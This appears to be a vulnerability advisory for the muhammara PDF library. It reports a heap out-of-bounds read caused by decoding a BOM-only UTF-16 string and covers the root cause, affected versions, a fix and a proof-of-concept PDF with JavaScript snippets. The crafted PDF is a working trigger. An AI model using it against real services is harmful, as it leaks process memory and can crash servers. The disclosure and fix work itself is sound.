Heap out-of-bounds read when decoding a PDF text string that is only a UTF-16 byte order mark
Description
Decoding a PDF text string that consists only of the UTF-16BE byte order mark (<FEFF>, or the literal string (\376\377)) makes the library read past the end of its buffer. toText() then returns process heap memory as text: in the native Node.js addon it returns pointer-like bytes, and in the WebAssembly build it returns other contents of the module's linear memory, including environment strings such as USER= and HOME=. An application that returns decoded PDF strings to a user, such as document info like /Title, can therefore leak memory contents. When the read reaches an unmapped page before it stops, the native process crashes.
Root Cause
PDFTextString::ToUTF8String() treats a string that starts with FE FF as UTF-16BE and calls UnicodeString::FromUTF16. That function strips the two-byte BOM and calls FromUTF16BE(inString + 2, inLength - 2), so for a BOM-only string inLength is 0. The decode loop compares against inLength-1 on an unsigned long:
packages/native-with-source/src/deps/PDFWriter/UnicodeString.cpp:219 (FromUTF16BE)
packages/native-with-source/src/deps/PDFWriter/UnicodeString.cpp:271 (FromUTF16LE)
for(unsigned long i = 0; i < inLength-1 && PDFHummus::eSuccess == status; i+=2)
// inLength == 0 -> inLength-1 wraps to ULONG_MAXThe comparison wraps to ULONG_MAX, so the loop keeps reading two bytes at a time past the buffer. It only stops when it decodes an unpaired surrogate (eFailure) or the read faults. Every value read up to that point is appended to the result and returned as UTF-8. FromUTF16LE has the same loop; it is not reached through PDFTextString, but it has the same defect.
Origin
The faulty loop has been in vendored PDFWriter since its original import into this repository (2013), so the out-of-bounds read exists in every release.
What changed is how much of the over-read reaches JavaScript:
- Legacy 6.x and native
7.0.0-alpha.1–7.0.0-beta.3built the JS string withString::NewFromUtf8(isolate, result.c_str()), which has no length argument. The string ended at the first NUL. Heap memory usually decodes to U+0000 within a character or two, so almost nothing was leaked. - Commit
85e17d9e("Migrate native addon and packages to Node-API 8"), first released in native7.0.0-beta.4, passes the decodedstd::stringwith its explicit length. Embedded NULs no longer end the string, so everything up to the first unpaired surrogate is returned. - The Wasm export
muhammara_wasm_pdf_text_string_to_utf8has returned the explicit length since the Wasm package's first release (1.0.0-alpha.1), so every Wasm release leaks.
Impact
Any code path that decodes an attacker-controlled PDF string with toText() is affected. This includes:
- the low-level
PDFLiteralString#toText()andPDFHexString#toText()on both packages; - native Recipe
info(), which decodes the source's Info dictionary; - Recipe
formFields()(unreleased, onissue/992-acroform-read).
The primitive is an out-of-bounds read of heap memory. The bytes are returned to the caller as a string, which leaks information when the application shows or returns it, for example a service that extracts document titles. The amount read is not under precise attacker control and ends at the first unpaired surrogate. On native, a read that reaches unmapped memory crashes the process (SIGSEGV), which denies service.
Proof of Concept
A one-page PDF whose Info /Title is a BOM-only hex string:
%PDF-1.7
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj
2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 100 100] >>
endobj
4 0 obj
<< /Title <FEFF> >>
endobj
xref
0 5
0000000000 65535 f
0000000009 00000 n
0000000058 00000 n
0000000115 00000 n
0000000186 00000 n
trailer
<< /Size 5 /Root 1 0 R /Info 4 0 R >>
startxref
221
%%EOF// Native, @muhammara/native or @muhammara/native-with-source 7.2.0
const { Recipe } = require("@muhammara/native");
console.log(JSON.stringify(new Recipe("bom.pdf").info().title));
// "tﵿ\^@훥뼡\^@\^@쀹툡\^@\^@〇ﵿ\^@..." (heap bytes; expected "")// Wasm, @muhammara/wasm 1.2.0
import fs from "node:fs";
import { createMuhammaraWasm } from "@muhammara/wasm";
const muhammara = await createMuhammaraWasm();
const reader = muhammara.createReader(new Uint8Array(fs.readFileSync("bom.pdf")));
console.log(JSON.stringify(reader.parseNewObject(4).toJSObject().Title.toText()));
// "l攀ఀ呩琂\^@\^@⬀..." followed by fragments of USER=, HOME=, PATH= (expected "")The output differs on each run because it is uninitialized or unrelated memory.
Affected Versions
- Ecosystem:
npm @muhammara/native,@muhammara/native-with-source: confirmed on7.2.0(latest). Full leak from7.0.0-beta.4onward.7.0.0-alpha.1through7.0.0-beta.3behave like legacy 6.x (see below).@muhammara/wasm: confirmed on1.2.0(latest) through the low-level reader; all releases ship the same vendored code.- Legacy
muhammara(all releases up to6.0.6): the same out-of-bounds read happens, so the crash risk is the same, but the leaked text is cut off almost at once.info().titlereturns"ÿ", which is itself one byte read past the buffer. - Fix status: not fixed.
Suggested Fix
Make the loop bound safe for an empty input in both FromUTF16BE and FromUTF16LE, for example for (unsigned long i = 0; i + 1 < inLength && ...; i += 2); an empty string then decodes to "". The code is vendored PDFWriter, so the fix should also be reported upstream (PDF-Writer). Alternatively, guard in project-owned code before decoding: the ToText methods of PDFLiteralStringDriver and PDFHexStringDriver, and the Wasm export muhammara_wasm_pdf_text_string_to_utf8, can return "" for a string that is exactly FE FF.
Add regression coverage under tests/security/ on both ends: a BOM-only /Title must decode to "".
---
Found while fuzzing the new form field reader for #992.